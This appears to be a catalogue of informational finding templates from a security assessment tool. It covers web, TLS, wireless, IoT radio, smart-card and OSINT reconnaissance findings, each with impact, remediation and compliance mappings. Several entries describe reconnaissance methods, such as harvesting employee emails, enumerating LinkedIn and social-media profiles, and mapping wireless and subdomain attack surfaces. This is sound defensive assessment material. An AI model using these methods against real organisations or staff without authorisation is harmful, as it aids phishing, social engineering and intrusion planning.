CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP Web: A05:2025
MITRE ATT&CK: T1590 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
INFO FR-231 — Authentication Method Identified
Description: The authentication method used by the application was identified (e.g., form-based login, HTTP Basic, Digest, NTLM, Token, TOTP MFA). Understanding the auth method helps target appropriate attack vectors.
Remediation: Use strong, modern authentication mechanisms. Ensure credentials are transmitted only over encrypted channels.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP Web: A07:2025
MITRE ATT&CK: T1590 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
INFO FR-232 — Password Reset Endpoint Exposed
Description: A password reset endpoint was identified. Password reset flows are frequently targeted for account takeover via insecure token handling, predictable tokens, or host header injection.
Remediation: Ensure password reset tokens are cryptographically random, single-use, and short-lived. Validate the Host header in reset link generation.
Effort: Moderate
OWASP Web: A07:2025
MITRE ATT&CK: T1078 (Initial Access), T1110 (Credential Access)
NIST 800-53: IA-5, AC-2
PCI DSS 4: 8.3.6
INFO FR-233 — Active Session Management Interface Detected
Description: An active session management interface was detected (e.g., a page showing currently active sessions). This interface may expose session identifiers, user details, or allow unauthorised session termination.
Remediation: Restrict session management interfaces to authenticated users with appropriate roles. Ensure session identifiers are not exposed in the UI.
OWASP Web: A07:2025
INFO FR-234 — File Upload Endpoint Detected
Description: A file upload endpoint was detected. File upload functionality is a common attack vector for web shell upload, client-side XSS via crafted files, and server-side processing vulnerabilities.
Remediation: Validate file type by content inspection (not extension alone). Store uploads outside the web root. Disable execution of uploaded files. Implement file size limits and antivirus scanning.
Effort: Low
OWASP Web: A04:2025
MITRE ATT&CK: T1595.003 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-8, CM-7, AC-3
PCI DSS 4: 6.5.1
INFO FR-242 — WordPress Multisite Installation Detected
Description: A WordPress Multisite installation was detected. Multisite installations have a larger attack surface as vulnerabilities in one site may affect all sites in the network.
Remediation: Ensure all sites in the Multisite network are monitored and updated. Apply network-wide security controls.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025
MITRE ATT&CK: T1592.002 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-7, CM-8
PCI DSS 4: 6.5.1
INFO FR-243 — WordPress Plugins Detected in Page Source
Description: WordPress plugin names were identified from page source references to wp-content/plugins/. Known plugin names allow attackers to check for plugin-specific CVEs.
Remediation: Dequeue unused plugins and obfuscate plugin asset paths where possible. Keep all plugins updated.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A06:2025
MITRE ATT&CK: T1592.002 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-7, CM-8
PCI DSS 4: 6.5.1
INFO FR-244 — WordPress Parent Theme Detected
Description: A WordPress parent theme was identified. Known theme names allow attackers to check for theme-specific CVEs and misconfigurations.
Remediation: Keep all themes updated. Remove unused themes.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A06:2025
MITRE ATT&CK: T1592.002 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-7, CM-8
PCI DSS 4: 6.5.1
INFO FR-251 — Discovery: SSL/TLS Certificate
Description: TLS certificate identity and validity metadata was extracted including subject CN, issuer, Subject Alternative Names (SANs), and expiry date. This provides reference context for the certificate lifecycle and scope.
Impact: Certificate details including issuer, validity period, subject alternative names, and key parameters provide an attacker with infrastructure intelligence. This information reveals hosting relationships, internal hostnames, and certificate management practices that inform targeted attacks.
Remediation: Ensure certificate expiry is monitored with automated renewal. Verify all expected FQDNs are listed in the SAN extension.
OWASP Web: A02:2025
INFO FR-259 — TLS Version Identified
Description: The negotiated TLS protocol version was identified via a socket-level probe. This provides baseline TLS version context when sslscan/testssl.sh are unavailable.
Remediation: Ensure TLS 1.2 or 1.3 is negotiated. Disable TLS 1.0 and 1.1.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2025
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1557 (Collection)
NIST 800-53: SC-8, SC-28, IA-5
PCI DSS 4: 4.2.1
INFO FR-262 — SSL/TLS Grade
Description: testssl.sh assigned an overall TLS grade to the target. The grade summarises the TLS configuration quality across protocol versions, cipher suites, and certificate strength.
Impact: The SSL/TLS grade reflects the overall strength of the server's TLS configuration including protocol versions, cipher suites, and certificate properties. A low grade indicates multiple weaknesses that collectively reduce the confidentiality and integrity of encrypted communications.
Remediation: Remediate identified TLS weaknesses to achieve a grade of A or better.
OWASP Web: A02:2025
INFO FR-272 — Endpoint-Specific Security Header Found
Description: A security header was found present on a specific endpoint but absent on the main application root. Inconsistent header coverage may leave some pages vulnerable despite partial protection.
Remediation: Ensure security headers are applied consistently across all application endpoints via server-level configuration rather than per-page.
Effort: Low
OWASP Web: A05:2025
MITRE ATT&CK: T1595.003 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-8, CM-7, AC-3
PCI DSS 4: 6.5.1
INFO FR-304 — JWT Token Identified: Algorithm
Description: A JWT token was identified in the application. The JWT header algorithm has been extracted for analysis.
Remediation: Ensure JWT tokens are signed with a strong algorithm (RS256, ES256, or HS256 with a sufficiently random secret). Avoid 'none' or weak algorithms.
OWASP Web: A02:2025
INFO FR-319 — Concurrent Session Limit Enforced
Description: The application enforces a concurrent session limit. When a new session is established, existing sessions are invalidated. This limits the damage from compromised credentials.
Remediation: No remediation required. This is a positive security control.
OWASP Web: A07:2025
INFO FR-340 — WAF/CDN Possible Session Termination
Description: An unexpected HTTP status was returned by the target, suggesting a possible session termination by WAF bot-detection heuristics. The authenticated session may no longer be valid.
Remediation: Verify that the authenticated session is still valid. If the session was terminated, re-authenticate and resume the scan.
OWASP Web: A07:2025 Identification and Authentication Failures
INFO FR-414 — Load Balancer Detected: {_lb_label}
Description: A load balancer, CDN, or reverse proxy was detected in front of the target application based on response headers, cookies, or behavioral fingerprints.
Impact: Knowledge of the load balancing infrastructure helps an attacker understand the network topology and may reveal vendor-specific vulnerabilities or bypass techniques for WAF/IDS systems.
Remediation: Suppress load balancer identification headers (e.g., Via, X-Served-By, X-Cache) in client-facing responses. This is informational and does not require immediate remediation.
Effort: Easy
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SI-11
INFO FR-428 — Missing Cross-Origin Isolation Header: {header}
Description: One or more cross-origin isolation headers (COOP, COEP, CORP) are not set.
Impact: Without cross-origin isolation, the application may be susceptible to Spectre-class side-channel attacks or cross-origin information leaks.
Remediation: Set Cross-Origin-Opener-Policy, Cross-Origin-Embedder-Policy, and Cross-Origin-Resource-Policy headers as appropriate.
Effort: Moderate
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SC-7
INFO FR-448 — API Endpoint Missing Rate Limiting
Description: An API endpoint does not enforce rate limiting, responding to 10 rapid requests without throttling.
Impact: An attacker can abuse the endpoint for data enumeration, credential stuffing, or resource exhaustion.
Remediation: Implement rate limiting on all API endpoints using token bucket or sliding window algorithms.
Effort: Moderate
OWASP Web: A04:2025 Insecure Design
NIST 800-53: SC-5
INFO FR-451 — GraphQL Field Duplication Not Limited
Description: The GraphQL endpoint processes queries with many duplicated fields without limiting the result set.
Impact: An attacker can amplify response size by duplicating fields, potentially causing increased bandwidth usage.
Remediation: Implement query complexity limits that account for field duplication.
Effort: Moderate
OWASP Web: A04:2025 Insecure Design
NIST 800-53: SC-5
INFO FR-465 — Outdated or Unnecessary Website Detected
Description: The website shows indicators of being outdated, abandoned, or unnecessary: old copyright dates, 'under construction' text, default CMS/server pages, or stale Last-Modified headers.
Impact: Outdated or unnecessary websites expand the attack surface with unpatched software and forgotten configurations that are less likely to be monitored.
Remediation: Review whether this website is still needed. If not, decommission it. If needed, update its content and underlying software.
Effort: Moderate
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: CM-8
INFO FR-486 — TLS Certificate SAN Enumeration
Description: The TLS certificate presented by the server contains multiple Subject Alternative Name (SAN) entries, revealing additional hostnames and services hosted on this infrastructure. SAN enumeration is a passive reconnaissance technique that exposes the scope of services behind a single certificate.
Impact: An attacker can enumerate additional attack surface by reviewing SAN entries, discovering internal hostnames, staging environments, or related services that may have weaker security controls. Shared certificates also indicate infrastructure relationships between the listed domains.
Remediation: Review SAN entries to ensure no unintended hostnames (internal names, staging environments, decommissioned services) are exposed. Use separate certificates for services that should not be associated publicly.
Effort: Moderate
CVSS Vector: N/A
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1596.003 (Reconnaissance)
NIST 800-53: SC-8
INFO FR-497 — Technology Stack Identified (Wappalyzer)
Description: Webanalyze (Wappalyzer engine) identified the technology stack running on the target web application. Technologies detected may include web servers, application frameworks, CMS platforms, JavaScript libraries, analytics tools, CDNs, and other components. Each identified technology can be checked against known vulnerability databases for version-specific issues.
Impact: Technology fingerprinting reveals the exact software stack in use, enabling targeted vulnerability research. An attacker can search for CVEs, default credentials, and known misconfigurations specific to each detected technology and version. Identifying the CMS, framework, and server version narrows the attack surface to known weaknesses.
Remediation: Ensure all identified technologies are running their latest patched versions. Remove version information from HTTP response headers where possible (e.g. ServerTokens Prod, server_tokens off). Remove unused technologies and frameworks to reduce attack surface.
Effort: Moderate
CVSS Vector: N/A
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1592.004 (Reconnaissance)
NIST 800-53: CM-8
PCI DSS 4: 6.3.2
INFO FR-498 — Hidden HTTP Parameters Discovered
Description: arjun discovered hidden HTTP parameters that are not present in crawled forms, links, or visible page elements. These parameters are accepted by the server but not publicly advertised, potentially exposing additional attack surface for injection, authentication bypass, or information disclosure.
Impact: Hidden parameters may accept unexpected input that bypasses client-side validation. An attacker who discovers hidden debug, admin, or configuration parameters can probe them for injection vulnerabilities, privilege escalation, or information disclosure. These parameters are often less hardened than publicly documented ones because developers assume they are not discoverable.
Remediation: Review all discovered hidden parameters for security implications. Remove any debug, test, or administrative parameters from production deployments. Ensure all accepted parameters are documented and subject to the same input validation and authorization controls as public parameters.
Effort: Moderate
CVSS Vector: N/A
OWASP Web: A01:2025 Broken Access Control
OWASP API: API9:2023 Improper Inventory Management
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: CM-7, SA-11
PCI DSS 4: 6.2.4
INFO FR-510 — Cookie Path Scoped to Root
Description: Session cookies use Path=/ while the application resides at a subpath. Other applications on the same hostname can read these cookies.
Impact: Other applications sharing the same hostname (common in shared hosting or multi-tenant environments) can access session cookies, creating a cross-application information disclosure risk.
Remediation: Set the cookie Path attribute to the application's base URL path to limit cookie visibility to the application's URL space.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
NIST 800-53: SC-23
INFO GB-BT-001 — Bluetooth Device Discovered
Description: A Bluetooth (BR/EDR or BLE) device was detected during zero-knowledge scanning, along with its advertising data (address, address type, RSSI, name, service UUIDs, manufacturer data).
Impact: Confirms a live wireless attack surface and provides the address and advertised metadata needed to target every subsequent enumeration, pairing, and exploitation test.
Remediation: Reconcile every discovered radio against the authorised asset inventory; disable or shield Bluetooth interfaces that are not required.
INFO GB-BT-002 — BLE GATT Service Enumerated
Description: The GATT server of a BLE device was enumerated without prior knowledge, revealing its services, characteristics, handles and properties (read/write/notify).
Impact: Discloses device function and defines the read/write/subscribe attack surface; unauthenticated enumeration is the first step toward characteristic abuse.
Remediation: Where the GATT layout itself is sensitive, require an encrypted, bonded link before service discovery is permitted.
INFO GB-BT-003 — Classic Bluetooth SDP Service Enumerated
Description: Classic Bluetooth (BR/EDR) SDP service records were enumerated (RFCOMM/L2CAP channels, profiles such as SPP/DUN/PAN).
Impact: Exposed SDP records widen the BR/EDR attack surface and can reveal legacy profiles (PAN/BNEP, DUN) with their own vulnerability history.
Remediation: Disable unused BR/EDR profiles; restrict SDP exposure and require authentication for sensitive services.
INFO GB-BT-025 — LE Secure Connections Confirmed (Passively Uncrackable)
Description: The device completed LE Secure Connections pairing (ECDH P-256), confirmed on the wire by the Pairing Public Key / DHKey Check PDUs and/or a crackle result of 'LE Secure Connections'.
Impact: Positive assurance that the session key never crosses the air and the pairing is not passively crackable; residual risk shifts to implementation flaws (static passkey, debug keys, downgrade acceptance).
Remediation: Maintain LESC; additionally verify per-pairing random passkeys, no debug keys, and rejection of downgrade offers.
INFO GB-BT-029 — Bluetooth Testing SKIPPED — No Adapter or Sniffer Available
Description: No Bluetooth adapter or sniffer was selected/available for the instance, so Bluetooth/BLE testing was not performed.
Impact: The Bluetooth attack surface of the device was not assessed; the absence of findings does not indicate the interface is secure.
Remediation: Attach a BlueZ adapter for active GATT/pairing work, or flash a sniffer board via Quiver (Sniffle / nRF Sniffer / ButteRFly / Ubertooth) for passive capture, then re-run the module.
INFO GB-CAN-001 — CAN Bus Frame Captured
Description: CAN bus frames were captured from the device. Frame IDs and data payloads are documented for replay and fuzzing analysis.
Remediation: Ensure CAN bus access is physically restricted. Document observed frame IDs against expected device behaviour.
INFO GB-CONF-001 — ARP / DHCP Traffic Reveals Network Configuration
Description: Passive ARP or DHCP traffic captured during the ConfigDiscovery phase revealed network configuration details: default gateway, DNS servers, existing DHCP leases, and VLAN membership.
Remediation: Informational — expected behaviour. Review whether observed network configuration aligns with intended design.
INFO GB-DISC-001 — Live Host Discovered
Description: A host was confirmed active on the network by responding to one or more probe types (ICMP, TCP SYN, ARP, or UDP), expanding the known attack surface.
Remediation: Reconcile all discovered hosts against the authorised asset inventory and investigate any unexpected or unregistered hosts.
INFO GB-DISC-002 — Open Port Discovered
Description: A TCP or UDP port was confirmed open on the target host, indicating an exposed service that contributes to the overall network attack surface.
Remediation: Inventory all open ports against expected service requirements; close or restrict access to ports that serve no legitimate business purpose via host-based or network firewall rules.
INFO GB-DISC-003 — Service Version Identified
Description: A specific software version was identified from a service banner or nmap version detection. This information can be cross-referenced against CVE databases to identify known vulnerabilities.
Remediation: Suppress version information where possible. Keep all identified services up to date.
INFO GB-DISC-004 — DHCP Lease Assigned to Device
Description: The device successfully obtained a DHCP lease from the gearbox DHCP server. The assigned IP address and MAC address are documented for the assessment.
Remediation: No action required; informational record.
INFO GB-DISC-007 — Discovery: Hostname Identified
Description: A DNS hostname or NetBIOS name was resolved for a target IP address, providing a human-readable label for the host. Hostnames frequently encode information about the device's function, location, operating system, or network segment (e.g., dc01.corp.example.com, router-dmz-01, dev-sql-server). This information reduces the attacker's reconnaissance burden by allowing service correlation without port scanning and aids in target prioritisation during an assessment.
Remediation: Ensure DNS naming conventions do not disclose sensitive infrastructure details. Restrict reverse-DNS resolution (PTR records) for internal hosts from being accessible to external resolvers. Disable NetBIOS name service (NBT-NS) where not required.
INFO GB-HW-004 — EDID Information Disclosure
Description: EDID data was successfully read, disclosing monitor model, serial number, manufacturer, and capabilities.
Remediation: No action required if EDID is functioning normally. Consider custom EDID for high-security deployments.
INFO GB-HW-005 — HDMI CEC Bus Device Enumeration
Description: HDMI CEC bus enumeration was performed and active devices on the CEC bus were successfully identified without any authentication requirement. Discovered information includes logical and physical addresses, device type (TV, playback device, audio system), vendor OUI, and OSD name strings. While this finding is informational, it establishes the device topology and may support more targeted CEC command injection or denial-of-service attacks.
Remediation: No immediate action required if CEC is a necessary product feature. Review whether CEC device information could aid targeted attack chains and consider disabling CEC in firmware for devices where it serves no operational purpose.
INFO GB-LORA-001 — LoRa Transmission Detected
Description: LoRa radio transmissions were captured on the device's regional ISM band (433/868/915 MHz) during passive scanning, including frame count and observed MHDR MType(s).
Impact: Confirms a live LoRa wireless attack surface and provides the frames needed to target the subsequent LoRaWAN activation, key, replay, and payload tests.
Remediation: Reconcile the transmitting radio against the authorised asset inventory; disable or shield LoRa interfaces that are not required and document expected channels/spreading factors.
Effort: Easy
MITRE ATT&CK: T1040 (Discovery)
INFO GB-LORA-002 — LoRaWAN Network Traffic Detected
Description: LoRaWAN protocol traffic (Join and/or MAC data frames identifiable by their MHDR/FHDR structure and DevAddr) was identified in the passive capture.
Impact: Confirms a LoRaWAN network is in range and reachable to a passive listener, exposing DevAddr and frame-counter metadata used to assess replay and key-management weaknesses.
Remediation: Confirm the LoRaWAN deployment is authorised and inventoried; ensure the network server enforces monotonic frame counters and secure join handling.
Effort: Easy
MITRE ATT&CK: T1040 (Discovery)
INFO GB-LORA-010 — LoRa Testing SKIPPED — No SDR or LoRa Radio Available
Description: Gearbox attempted LoRa / LoRaWAN assessment but no usable radio was available: either no hardware was selected, the LoRa32 sniffer board exposed no serial port, or neither rtl_433 nor urh_cli was on PATH.
Impact: LoRa / LoRaWAN was NOT tested for this interface, so any radio-layer, key-management, or replay weakness remains unverified and unreported until a capture-capable radio is provided.
Remediation: Flash a Heltec LoRa32 v3 or LilyGo LoRa32 with single-channel-sniffer firmware via Quiver, or attach an RTL-SDR / HackRF with rtl-433 and universal-radio-hacker installed, then re-run the module.
Effort: Easy
INFO GB-RF-001 — Sub-GHz Signal Detected
Description: An active sub-GHz (300-928 MHz) transmission from the device under test was detected and/or decoded during a zero-knowledge spectrum survey.
Impact: The presence of a sub-GHz radio link expands the device's remotely-reachable attack surface; a listener in RF range can begin characterising and targeting the channel.
Remediation: Inventory the emitter, band, and modulation; determine whether the transmission is in scope and whether it carries device data or control.
Effort: Easy
MITRE ATT&CK: T0887 (Collection)
INFO GB-RF-009 — Sub-GHz Testing SKIPPED — No SDR/Radio Hardware Available
Description: No sub-GHz radio or host CLI toolchain was available for this instance, so 300-928 MHz RF testing was not performed and this interface was not assessed.
Impact: The device's sub-GHz attack surface remains unassessed; fixed-code, replay, cleartext-telemetry, and jamming weaknesses cannot be ruled out until a radio is attached and the module re-run.
Remediation: Attach an RTL-SDR or HackRF for spectrum survey and rtl_433 decode, or a YARD Stick One / CatSniffer / Flipper Zero for capture-and-replay, then re-run the SubGHz module.
Effort: Easy
INFO GB-SC-001 — Smart Card Detected
Description: A smart card was detected in a PC/SC reader during zero-knowledge scanning, along with its Answer-To-Reset (ATR).
Impact: Confirms a live smart-card authentication surface and provides the ATR/reader context needed to target every subsequent fingerprint, APDU, and key test.
Remediation: Reconcile every detected card against the authorised asset inventory; disable unused card-based authentication paths.
Effort: Easy
INFO GB-SC-002 — Smart Card Reader Detected
Description: A PC/SC (CCID) smart-card reader was enumerated on the test host, providing the contact/contactless channel used for card assessment.
Impact: Establishes the reader interface used to reach the card; benign on its own but scopes the physical attack surface.
Remediation: No action required for the reader itself; ensure reader firmware is current and only authorised readers are attached to production hosts.
Effort: Easy
INFO GB-SC-003 — Smart Card ATR Fingerprinted
Description: The card's Answer-To-Reset (ATR) was captured and analysed, disclosing the card platform, chip, and card operating system.
Impact: The ATR reveals the exact card OS/chip, letting an attacker select platform-specific attacks (known default keys, applet exploits, CVM weaknesses) and defines the surface tested in later phases.
Remediation: ATR disclosure is inherent to ISO-7816 and cannot be suppressed; compensate by ensuring the identified platform is fully patched and its default keys/PINs are rotated.
Effort: Easy
INFO GB-SC-012 — SmartCard Testing SKIPPED — No PC/SC Reader or Tools Available
Description: Smart-card testing was not performed because the required PC/SC toolchain (pcsc_scan / opensc-tool) or reader was unavailable; the module honestly recorded that no card test ran.
Impact: No assurance can be drawn about the device's smart-card authentication posture — the interface remains untested until a reader and the PC/SC tools are present.
Remediation: Connect an Identiv SCR3310 (or any PC/SC) reader, install pcsc-tools, opensc, and GlobalPlatformPro (gp), start pcscd, and re-run the SmartCard module.
Effort: Easy
INFO GB-SERIAL-002 — Serial Console Baud Rate Identified
Description: The serial port baud rate was auto-detected. The presence and configuration of a serial console is documented.
Remediation: Review whether the console is accessible in production and restrict access if appropriate.
INFO GB-UWB-001 — UWB Device Detected
Description: A UWB (IEEE 802.15.4z / 802.15.4a) device was detected during passive capture, along with the frame types observed (blink, poll/response/final ranging) and its transmitted address.
Impact: Confirms a live UWB ranging/RTLS attack surface (asset-tracking tag/anchor or secure-access ranging peer) and provides the address and frame context needed to target subsequent ranging-security tests.
Remediation: Reconcile every discovered UWB anchor/tag against the authorised asset inventory; disable or shield UWB interfaces that are not required.
Effort: Easy
NIST 800-53: CM-8
INFO GB-UWB-002 — UWB Testing SKIPPED — No Sniffer or UWB Hardware Available
Description: Gearbox attempted UWB assessment but no UWB sniffer board was selected and no sniffer binary or capture file was available, so UWB testing was NOT performed.
Impact: No assurance can be given about the UWB ranging/RTLS interface — its secure-ranging posture is unknown until a sniffer is flashed (Heltec / DWM3001CDK / DWM3000EVB) or a DW3000/UCI capture is imported and the module is re-run.
Remediation: Flash a UWB sniffer via Quiver or import a DW3000/UCI capture, then re-run the UWB module to complete the assessment.
Effort: Easy
INFO GB-WIFI-001 — Wi-Fi Network Discovered
Description: An 802.11 access point was detected during zero-knowledge scanning, along with its beacon/RSN metadata (SSID, BSSID, channel, privacy/cipher/AKM suites, associated clients).
Impact: Confirms a live wireless attack surface and provides the BSSID, channel and encryption details needed to target every subsequent per-AP encryption, WPS, PMKID/handshake, PMF and evil-twin test.
Remediation: Reconcile every discovered SSID/BSSID against the authorised wireless inventory; disable or shield any access point or wireless interface that is not required for the device under test.
Effort: Easy
MITRE ATT&CK: T1595 (Reconnaissance)
NIST 800-53: CM-8, SI-4
PCI DSS 4: 11.2.1
INFO GB-WIFI-012 — Wi-Fi Testing SKIPPED — No Wireless Adapter or Toolkit Available
Description: 802.11 testing was not performed for this instance because no monitor-mode adapter was selected, a non-capture device (e.g. WiFi Duck) was selected, or the aircrack-ng suite was not installed.
Impact: The device's wireless attack surface was not assessed; open/WEP encryption, WPS/pixie-dust, capturable handshakes/PMKID, missing PMF, and evil-twin exposure remain unverified until the module is re-run with proper hardware and tooling.
Remediation: Attach an Alfa AWUS036ACM/NEH/H (or drive the WiFi Pineapple Mark VII) and install the aircrack-ng suite (plus hcxdumptool/hcxtools, reaver, iw), then re-run the WiFi module to complete 802.11 coverage.
Effort: Easy
NIST 800-53: CA-8
PCI DSS 4: 11.2.1
INFO GB-ZW-001 — Z-Wave Device Detected
Description: A Z-Wave network was detected during passive sub-GHz (868/908 MHz) capture, along with its cleartext frame header data (HomeID and one or more NodeIDs).
Impact: Confirms a live Z-Wave mesh within RF range and provides the HomeID/NodeID needed to target every subsequent enumeration and security test.
Remediation: Reconcile every discovered Z-Wave HomeID/NodeID against the authorised asset inventory; disable or shield Z-Wave interfaces that are not required.
Effort: Easy
MITRE ATT&CK: T1200 (Initial Access)
NIST 800-53: CM-8, PM-5
INFO GB-ZW-002 — Z-Wave Network Enumerated
Description: The Z-Wave mesh was enumerated passively from cleartext frame headers, disclosing the HomeID, the set of NodeIDs, and the command-class traffic exchanged between the controller and its slaves.
Impact: Maps the controller/slave topology and per-node command-class usage, letting an attacker identify locks, switches, and sensors and plan targeted forge/replay attacks against specific nodes.
Remediation: Z-Wave frame headers are inherently cleartext; minimise information leakage by enforcing S2 on all traffic and physically limiting RF exposure of the mesh.
Effort: Moderate
MITRE ATT&CK: T1592 (Reconnaissance)
NIST 800-53: CM-8
INFO GB-ZW-008 — Z-Wave S2 Secure Class Confirmed
Description: The network was observed using the S2 Security_2 command class (CC 0x9F), which performs an ECDH (Curve25519) authenticated key exchange with an out-of-band DSK and provides per-frame nonce-based anti-replay.
Impact: S2 traffic is not passively decryptable or trivially replayable; this is the desired posture, though it must be confirmed for ALL nodes with no S0 fallback permitted.
Remediation: Confirm every node is S2 (no S0-only devices) and that the controller enforces S2-only inclusion with no S0 fallback; verify DSK out-of-band at inclusion.
Effort: Easy
NIST 800-53: SC-13
INFO GB-ZW-010 — Z-Wave Testing SKIPPED — No SDR or Sniffer Available
Description: Z-Wave testing was not performed because no SDR/sniffer was selected, no capture CLI was installed, or no Z-Wave traffic was observed on the selected frequency. This is an honesty marker so the operator is not misled into thinking the interface was assessed.
Impact: The Z-Wave attack surface remains unassessed; any unencrypted control, S0 key-exchange, downgrade, or replay weakness would go undetected until the module is re-run with working capture hardware.
Remediation: Attach a HackRF One (EZ-Wave / scapy-radio), a CatSniffer with Sub-GHz firmware, or an RTL-SDR (waving-z / rtl_433), install the Z-Wave capture tooling, and re-run the module to actually assess the interface.
Effort: Easy
INFO OSIFT-001 — Discovery: Subdomain
Description: A subdomain belonging to the target organisation was identified through passive or active enumeration (Amass, subfinder, certificate transparency, theHarvester, puredns brute-force).
Impact: Discovered subdomains expand the known attack surface and may reveal development environments, internal tools, or forgotten services that lack production-grade security controls.
Remediation: Review all discovered subdomains for unintended exposure. Ensure internal/development subdomains are not publicly resolvable where unnecessary.
Effort: Low
CVSS Vector: N/A
MITRE ATT&CK: T1590.001 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
INFO OSIFT-002 — Live Host Confirmed
Description: A subdomain or IP address responded to HTTP/HTTPS probing (httpx) or ICMP/TCP and is confirmed to be serving traffic.
Impact: Confirmed live hosts verify that discovered IP addresses are actively serving content, distinguishing real targets from inactive allocations. This narrows the attack surface to actionable targets for subsequent vulnerability scanning.
Remediation: Ensure only intended services are publicly accessible. Review the confirmed host list for shadow IT or forgotten assets.
Effort: Low
CVSS Vector: N/A
MITRE ATT&CK: T1590.001 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
INFO OSIFT-018 — Employee Email Address Harvested
Description: An employee email address was discovered via theHarvester, Hunter.io, LinkedIn, or public sources. Collected addresses support phishing and credential spray attacks.
Remediation: Educate employees on minimising personal information exposure. Implement email security controls (SPF, DKIM, DMARC, anti-phishing).
Effort: Moderate
CVSS Vector: N/A
MITRE ATT&CK: T1598.003 (Reconnaissance), T1589.002 (Reconnaissance)
NIST 800-53: PM-5, PL-4, RA-2
PCI DSS 4: 12.5.1
INFO OSIFT-019 — Web Technology Fingerprint
Description: The technology stack of a live host was identified (Wappalyzer, httpx, whatweb): CMS, web framework, server software, JavaScript libraries, CDN providers. Helps attackers target known vulnerabilities.
Impact: Technology fingerprints reveal the application stack, framework versions, and third-party components. An attacker uses this to target version-specific vulnerabilities and narrow exploit selection to applicable attack vectors.
Remediation: Remove version disclosure from HTTP headers (Server, X-Powered-By). Keep software up to date. Consider a WAF to obscure fingerprinting.
CVSS Vector: N/A
INFO OSIFT-024 — Certificate Transparency Log Entry
Description: A certificate was found in CT logs (crt.sh, Certspotter, Facebook CT) for the target domain. The SAN/CN reveals subdomain names that may not be otherwise discoverable.
Impact: Certificate Transparency logs reveal all certificates ever issued for the domain, exposing subdomain naming patterns, internal service names, and historical infrastructure that may still be accessible.
Remediation: No direct remediation required. Review disclosed subdomains for unintended exposure. Consider certificate issuance monitoring for your domain.
CVSS Vector: N/A
INFO OSIFT-025 — ASN / IP Range Identified
Description: The Autonomous System Number (ASN) and associated IP ranges for the target organisation were identified via BGP data and asnmap. This defines the full network footprint for scanning.
Impact: Identified ASN and IP ranges map the organization's network allocations, revealing hosting providers, data center locations, and the full scope of publicly routable infrastructure that may harbor additional attack surface.
Remediation: No immediate action required. Ensure only intended IP ranges are associated with the organisation's ASN. Review WHOIS/ARIN records for accuracy.
Effort: Low
CVSS Vector: N/A
MITRE ATT&CK: T1590.005 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
INFO OSIFT-026 — WHOIS Data Exposure
Description: WHOIS records for the target domain revealed registrant contact details, nameserver names, registrar information, and registration dates. This information aids in phishing and social engineering.
Impact: WHOIS records may reveal registrant names, email addresses, phone numbers, and physical addresses of domain administrators. This personally identifiable information enables targeted social engineering against infrastructure personnel.
Remediation: Enable WHOIS privacy protection through your registrar for domains where registrant PII should not be public.
CVSS Vector: N/A
INFO OSIFT-027 — LinkedIn Employee Profile Enumerated
Description: Employee names, titles, and organisational roles were enumerated from LinkedIn. This information supports spear-phishing, social engineering, and targeted credential spray attacks.
Remediation: Educate staff on LinkedIn exposure. Implement strict email security (DMARC p=reject). Train employees to recognise spear-phishing.
CVSS Vector: N/A
INFO OSIFT-028 — Social Media Profile Linked to Employee
Description: maigret discovered social media profiles (Twitter, GitHub, Reddit, etc.) linked to an employee username derived from their email address. May reveal personal information useful for social engineering.
Remediation: Assess employee privacy settings. Provide training on personal operational security.
CVSS Vector: N/A
INFO OSIFT-034 — Cloud Service Provider Asset Identified
Description: cloudlist or cdncheck identified assets hosted in cloud or CDN infrastructure (AWS, Azure, GCP, Cloudflare, Fastly, Akamai). Provides context for attack surface mapping.
Remediation: Ensure cloud-hosted assets have appropriate access controls, IAM policies, and logging. Review for misconfigured security groups or ACLs.
Effort: Low
CVSS Vector: N/A
MITRE ATT&CK: T1590.005 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
INFO OSIFT-035 — SEC EDGAR Filing Data Found
Description: Public SEC EDGAR filings for the target company revealed corporate structure, subsidiary entities, executive names, and legal entity identifiers (LEI, CIK). Useful for targeted attacks and social engineering.
Remediation: No direct remediation. Public regulatory filings are legally required for public companies. Ensure security awareness training covers executive impersonation risk.
CVSS Vector: N/A
INFO OSIFT-036 — Third-Party / Supply Chain Domain Identified
Description: Enumeration revealed domains or subdomains associated with third-party services, SaaS providers, or supply chain vendors (identified via CNAME targets, MX records, or certificate SANs).
Remediation: Maintain an inventory of third-party services. Assess vendor security posture. Monitor for supply chain compromise indicators.
Effort: Moderate
CVSS Vector: N/A
OWASP Web: A08:2021 – Software and Data Integrity Failures
